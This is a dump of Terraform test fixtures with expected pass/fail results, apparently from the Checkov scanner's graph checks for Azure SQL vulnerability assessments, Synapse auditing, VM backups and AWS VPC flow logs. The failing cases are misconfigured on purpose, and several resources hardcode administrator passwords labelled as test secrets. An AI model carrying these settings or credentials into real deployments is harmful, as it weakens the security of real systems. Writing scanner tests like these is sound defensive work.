  = false\n    email_subscription_admins_enabled = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SynapseWorkspaceHasExtendedAuditLogs/expected.yaml",
    "content": "pass:\n  - \"azurerm_synapse_workspace.azurerm_synapse_workspace_pass\"\nfail:\n  - \"azurerm_synapse_workspace.azurerm_synapse_workspace_fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SynapseWorkspaceHasExtendedAuditLogs/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_pass\" {\n  name                                 = \"example\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_fail\" {\n  name                                 = \"example\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_storage_account\" \"audit_logs\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_synapse_workspace_extended_auditing_policy\" \"auditing_policy_example\" {\n  synapse_workspace_id                    = azurerm_synapse_workspace.azurerm_synapse_workspace_pass.id\n  storage_endpoint                        = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.audit_logs.primary_access_key\n  storage_account_access_key_is_secondary = false\n  retention_in_days                       = 6\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VAconfiguredToSendReports/expected.yaml",
    "content": "pass:\n  - \"azurerm_mssql_server_vulnerability_assessment.okExample\"\n  - \"azurerm_mssql_server_vulnerability_assessment.okLegacyExample\"\n  - \"azurerm_mssql_server_vulnerability_assessment.okLegacyExampleAsList\"\nfail:\n  - \"azurerm_mssql_server_vulnerability_assessment.badExampleNotEnabled\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VAconfiguredToSendReports/main.tf",
    "content": "resource \"azurerm_resource_group\" \"okLegacyExample\" {\n  name     = \"okLegacyExample-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_sql_server\" \"okLegacyExample\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.okLegacyExample.name\n  location                     = azurerm_resource_group.okLegacyExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"azurerm_storage_account\" \"okLegacyExample\" {\n  name                     = \"accteststorageaccount\"\n  resource_group_name      = azurerm_resource_group.okLegacyExample.name\n  location                 = azurerm_resource_group.okLegacyExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_container\" \"okLegacyExample\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.okLegacyExample.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"okLegacyExample\" {\n  resource_group_name = azurerm_resource_group.okLegacyExample.name\n  server_name         = azurerm_sql_server.okLegacyExample.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okLegacyExample\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okLegacyExample.id\n  storage_container_path          = \"${azurerm_storage_account.okLegacyExample.primary_blob_endpoint}${azurerm_storage_container.okLegacyExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okLegacyExample.primary_access_key\n\n  recurring_scans {\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okLegacyExampleAsList\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okLegacyExample.id\n  storage_container_path          = \"${azurerm_storage_account.okLegacyExample.primary_blob_endpoint}${azurerm_storage_container.okLegacyExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okLegacyExample.primary_access_key\n\n  recurring_scans = [{\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }]\n}\n\nresource \"azurerm_resource_group\" \"okExample\" {\n  name     = \"okExample-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_mssql_server\" \"okExample\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.okExample.name\n  location                     = azurerm_resource_group.okExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"\n}\n\nresource \"azurerm_storage_account\" \"okExample\" {\n  name                     = \"accteststorageaccount\"\n  resource_group_name      = azurerm_resource_group.okExample.name\n  location                 = azurerm_resource_group.okExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_container\" \"okExample\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.okExample.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"okExample\" {\n  resource_group_name = azurerm_resource_group.okExample.name\n  server_name         = azurerm_mssql_server.okExample.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okExample\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okExample.id\n  storage_container_path          = \"${azurerm_storage_account.okExample.primary_blob_endpoint}${azurerm_storage_container.okExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okExample.primary_access_key\n\n  recurring_scans {\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_resource_group\" \"badExample\" {\n  name     = \"database-rg\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_storage_account\" \"badExample\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.badExample.name\n  location                 = azurerm_resource_group.badExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_sql_server\" \"badExample\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.badExample.name\n  location                     = azurerm_resource_group.badExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.badExample.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.badExample.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 6\n  }\n\n  tags = {\n    environment = \"production\"\n  }\n}\n\n\nresource \"azurerm_storage_container\" \"badExampleNotEnabled\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.badExampleNotEnabled.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"badExampleNotEnabled\" {\n  resource_group_name = azurerm_resource_group.badExampleNotEnabled.name\n  server_name         = azurerm_sql_server.badExampleNotEnabled.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"badExampleNotEnabled\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.badExampleNotEnabled.id\n  storage_container_path          = \"${azurerm_storage_account.badExampleNotEnabled.primary_blob_endpoint}${azurerm_storage_container.badExampleNotEnabled.name}/\"\n  storage_account_access_key      = azurerm_storage_account.badExampleNotEnabled.primary_access_key\n\n  recurring_scans {\n    enabled                   = false\n    email_subscription_admins = false\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VAconfiguredToSendReportsToAdmins/expected.yaml",
    "content": "pass:\n  - \"azurerm_mssql_server_vulnerability_assessment.okExample\"\n  - \"azurerm_mssql_server_vulnerability_assessment.okLegacyExample\"\n  - \"azurerm_mssql_server_vulnerability_assessment.okLegacyExampleAsList\"\nfail:\n  - \"azurerm_mssql_server_vulnerability_assessment.badExampleNotEnabled\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VAconfiguredToSendReportsToAdmins/main.tf",
    "content": "resource \"azurerm_resource_group\" \"okLegacyExample\" {\n  name     = \"okLegacyExample-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_sql_server\" \"okLegacyExample\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.okLegacyExample.name\n  location                     = azurerm_resource_group.okLegacyExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"azurerm_storage_account\" \"okLegacyExample\" {\n  name                     = \"accteststorageaccount\"\n  resource_group_name      = azurerm_resource_group.okLegacyExample.name\n  location                 = azurerm_resource_group.okLegacyExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_container\" \"okLegacyExample\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.okLegacyExample.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"okLegacyExample\" {\n  resource_group_name = azurerm_resource_group.okLegacyExample.name\n  server_name         = azurerm_sql_server.okLegacyExample.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okLegacyExample\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okLegacyExample.id\n  storage_container_path          = \"${azurerm_storage_account.okLegacyExample.primary_blob_endpoint}${azurerm_storage_container.okLegacyExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okLegacyExample.primary_access_key\n\n  recurring_scans {\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okLegacyExampleAsList\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okLegacyExample.id\n  storage_container_path          = \"${azurerm_storage_account.okLegacyExample.primary_blob_endpoint}${azurerm_storage_container.okLegacyExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okLegacyExample.primary_access_key\n\n  recurring_scans = [{\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }]\n}\n\nresource \"azurerm_resource_group\" \"okExample\" {\n  name     = \"okExample-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_mssql_server\" \"okExample\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.okExample.name\n  location                     = azurerm_resource_group.okExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"\n}\n\nresource \"azurerm_storage_account\" \"okExample\" {\n  name                     = \"accteststorageaccount\"\n  resource_group_name      = azurerm_resource_group.okExample.name\n  location                 = azurerm_resource_group.okExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_container\" \"okExample\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.okExample.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"okExample\" {\n  resource_group_name = azurerm_resource_group.okExample.name\n  server_name         = azurerm_mssql_server.okExample.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okExample\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okExample.id\n  storage_container_path          = \"${azurerm_storage_account.okExample.primary_blob_endpoint}${azurerm_storage_container.okExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okExample.primary_access_key\n\n  recurring_scans {\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_resource_group\" \"badExample\" {\n  name     = \"database-rg\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_storage_account\" \"badExample\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.badExample.name\n  location                 = azurerm_resource_group.badExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_sql_server\" \"badExample\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.badExample.name\n  location                     = azurerm_resource_group.badExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.badExample.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.badExample.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 6\n  }\n\n  tags = {\n    environment = \"production\"\n  }\n}\n\n\nresource \"azurerm_storage_container\" \"badExampleNotEnabled\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.badExampleNotEnabled.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"badExampleNotEnabled\" {\n  resource_group_name = azurerm_resource_group.badExampleNotEnabled.name\n  server_name         = azurerm_sql_server.badExampleNotEnabled.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"badExampleNotEnabled\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.badExampleNotEnabled.id\n  storage_container_path          = \"${azurerm_storage_account.badExampleNotEnabled.primary_blob_endpoint}${azurerm_storage_container.badExampleNotEnabled.name}/\"\n  storage_account_access_key      = azurerm_storage_account.badExampleNotEnabled.primary_access_key\n\n  recurring_scans {\n    enabled                   = false\n    email_subscription_admins = false\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VAisEnabledInStorageAccount/expected.yaml",
    "content": "pass:\n  - \"azurerm_sql_server.okExample\"\n  - \"azurerm_mssql_server.pass\"\nfail:\n  - \"azurerm_sql_server.badExample\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/VAisEnabledInStorageAccount/main.tf",
    "content": "resource \"azurerm_resource_group\" \"okExample\" {\n  name     = \"okExample-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_sql_server\" \"okExample\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.okExample.name\n  location                     = azurerm_resource_group.okExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"azurerm_storage_account\" \"okExample\" {\n  name                     = \"accteststorageaccount\"\n  resource_group_name      = azurerm_resource_group.okExample.name\n  location                 = azurerm_resource_group.okExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_container\" \"okExample\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.okExample.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"okExample\" {\n  resource_group_name = azurerm_resource_group.okExample.name\n  server_name         = azurerm_sql_server.okExample.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okExample\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okExample.id\n  storage_container_path          = \"${azurerm_storage_account.okExample.primary_blob_endpoint}${azurerm_storage_container.okExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okExample.primary_access_key\n\n  recurring_scans {\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_resource_group\" \"badExample\" {\n  name     = \"database-rg\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_storage_account\" \"badExample\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.badExample.name\n  location                 = azurerm_resource_group.badExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_sql_server\" \"badExample\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.badExample.name\n  location                     = azurerm_resource_group.badExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.badExample.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.badExample.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 6\n  }\n\n  tags = {\n    environment = \"production\"\n  }\n}\n\n\nresource \"azurerm_storage_container\" \"badExampleNotEnabled\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.badExampleNotEnabled.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"badExampleNotEnabled\" {\n  resource_group_name = azurerm_resource_group.badExampleNotEnabled.name\n  server_name         = azurerm_sql_server.badExampleNotEnabled.name\n  state               = \"NotEnabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"badExampleNotEnabled\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.badExampleNotEnabled.id\n  storage_container_path          = \"${azurerm_storage_account.badExampleNotEnabled.primary_blob_endpoint}${azurerm_storage_container.okExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.badExampleNotEnabled.primary_access_key\n\n  recurring_scans {\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_mssql_server\" \"pass\" {\n  name                         = \"mssqlserver-pass\"\n  resource_group_name          = azurerm_resource_group.okExample.name\n  location                     = azurerm_resource_group.okExample.location\n  version                      = \"12.0\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"pass\" {\n  resource_group_name        = azurerm_resource_group.example.name\n  server_name                = azurerm_mssql_server.pass.name\n  state                      = \"Enabled\"\n  storage_endpoint           = azurerm_storage_account.example.primary_blob_endpoint\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VAsetPeriodicScansOnSQL/expected.yaml",
    "content": "pass:\n  - \"azurerm_mssql_server_vulnerability_assessment.okExample\"\n  - \"azurerm_mssql_server_vulnerability_assessment.okLegacyExample\"\n  - \"azurerm_mssql_server_vulnerability_assessment.okLegacyExampleAsList\"\nfail:\n  - \"azurerm_mssql_server_vulnerability_assessment.badExampleNotEnabled\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VAsetPeriodicScansOnSQL/main.tf",
    "content": "resource \"azurerm_resource_group\" \"okLegacyExample\" {\n  name     = \"okLegacyExample-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_sql_server\" \"okLegacyExample\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.okLegacyExample.name\n  location                     = azurerm_resource_group.okLegacyExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nresource \"azurerm_storage_account\" \"okLegacyExample\" {\n  name                     = \"accteststorageaccount\"\n  resource_group_name      = azurerm_resource_group.okLegacyExample.name\n  location                 = azurerm_resource_group.okLegacyExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_container\" \"okLegacyExample\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.okLegacyExample.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"okLegacyExample\" {\n  resource_group_name = azurerm_resource_group.okLegacyExample.name\n  server_name         = azurerm_sql_server.okLegacyExample.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okLegacyExample\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okLegacyExample.id\n  storage_container_path          = \"${azurerm_storage_account.okLegacyExample.primary_blob_endpoint}${azurerm_storage_container.okLegacyExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okLegacyExample.primary_access_key\n\n  recurring_scans {\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okLegacyExampleAsList\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okLegacyExample.id\n  storage_container_path          = \"${azurerm_storage_account.okLegacyExample.primary_blob_endpoint}${azurerm_storage_container.okLegacyExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okLegacyExample.primary_access_key\n\n  recurring_scans = [{\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }]\n}\n\nresource \"azurerm_resource_group\" \"okExample\" {\n  name     = \"okExample-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_mssql_server\" \"okExample\" {\n  name                         = \"mysqlserver\"\n  resource_group_name          = azurerm_resource_group.okExample.name\n  location                     = azurerm_resource_group.okExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"4dm1n157r470r\"\n  administrator_login_password = \"4-v3ry-53cr37-p455w0rd\"\n}\n\nresource \"azurerm_storage_account\" \"okExample\" {\n  name                     = \"accteststorageaccount\"\n  resource_group_name      = azurerm_resource_group.okExample.name\n  location                 = azurerm_resource_group.okExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_storage_container\" \"okExample\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.okExample.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"okExample\" {\n  resource_group_name = azurerm_resource_group.okExample.name\n  server_name         = azurerm_mssql_server.okExample.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"okExample\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.okExample.id\n  storage_container_path          = \"${azurerm_storage_account.okExample.primary_blob_endpoint}${azurerm_storage_container.okExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.okExample.primary_access_key\n\n  recurring_scans {\n    enabled                   = true\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_resource_group\" \"badExample\" {\n  name     = \"database-rg\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_storage_account\" \"badExample\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.badExample.name\n  location                 = azurerm_resource_group.badExample.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_sql_server\" \"badExample\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.badExample.name\n  location                     = azurerm_resource_group.badExample.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.badExample.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.badExample.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 6\n  }\n\n  tags = {\n    environment = \"production\"\n  }\n}\n\n\nresource \"azurerm_storage_container\" \"badExampleNotEnabled\" {\n  name                  = \"accteststoragecontainer\"\n  storage_account_name  = azurerm_storage_account.badExampleNotEnabled.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"badExampleNotEnabled\" {\n  resource_group_name = azurerm_resource_group.badExampleNotEnabled.name\n  server_name         = azurerm_sql_server.badExampleNotEnabled.name\n  state               = \"Enabled\"\n}\n\nresource \"azurerm_mssql_server_vulnerability_assessment\" \"badExampleNotEnabled\" {\n  server_security_alert_policy_id = azurerm_mssql_server_security_alert_policy.badExampleNotEnabled.id\n  storage_container_path          = \"${azurerm_storage_account.badExampleNotEnabled.primary_blob_endpoint}${azurerm_storage_container.okExample.name}/\"\n  storage_account_access_key      = azurerm_storage_account.badExampleNotEnabled.primary_access_key\n\n  recurring_scans {\n    enabled                   = false\n    email_subscription_admins = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VMHasBackUpMachine/expected.yaml",
    "content": "pass:\n  - \"azurerm_virtual_machine.example_ok\"\nfail:\n  - \"azurerm_virtual_machine.example_not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VMHasBackUpMachine/main.tf",
    "content": "\nresource \"azurerm_virtual_machine\" \"example_ok\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = azurerm_resource_group.main.location\n  resource_group_name   = azurerm_resource_group.main.name\n  network_interface_ids = [azurerm_network_interface.main.id]\n  vm_size               = \"Standard_DS1_v2\"\n}\n\nresource \"azurerm_backup_protected_vm\" \"vm_protected_backup\" {\n  resource_group_name = azurerm_resource_group.example_ok.name\n  recovery_vault_name = azurerm_recovery_services_vault.example_ok.name\n  source_vm_id        = azurerm_virtual_machine.example_ok.id\n  backup_policy_id    = azurerm_backup_policy_vm.example_ok.id\n}\n\n\nresource \"azurerm_virtual_machine\" \"example_not_ok\" {\n  name                  = \"${var.prefix}-vm\"\n  location              = azurerm_resource_group.main.location\n  resource_group_name   = azurerm_resource_group.main.name\n  network_interface_ids = [azurerm_network_interface.main.id]\n  vm_size               = \"Standard_DS1_v2\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VPCHasFlowLog/expected.yaml",
    "content": "pass:\n  - \"aws_vpc.ok_vpc\"\nfail:\n  - \"aws_vpc.not_ok_vpc\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VPCHasFlowLog/main.tf",
    "content": "resource \"aws_flow_log\" \"example\" {\n  iam_role_arn    = \"arn\"\n  log_destination = \"log\"\n  traffic_type    = \"ALL\"\n  vpc_id          = aws_vpc.ok_vpc.id\n}\n\nresource \"aws_vpc\" \"not_ok_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_vpc\" \"ok_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/VPCHasOneOfWantedFlowLogs/main.tf",
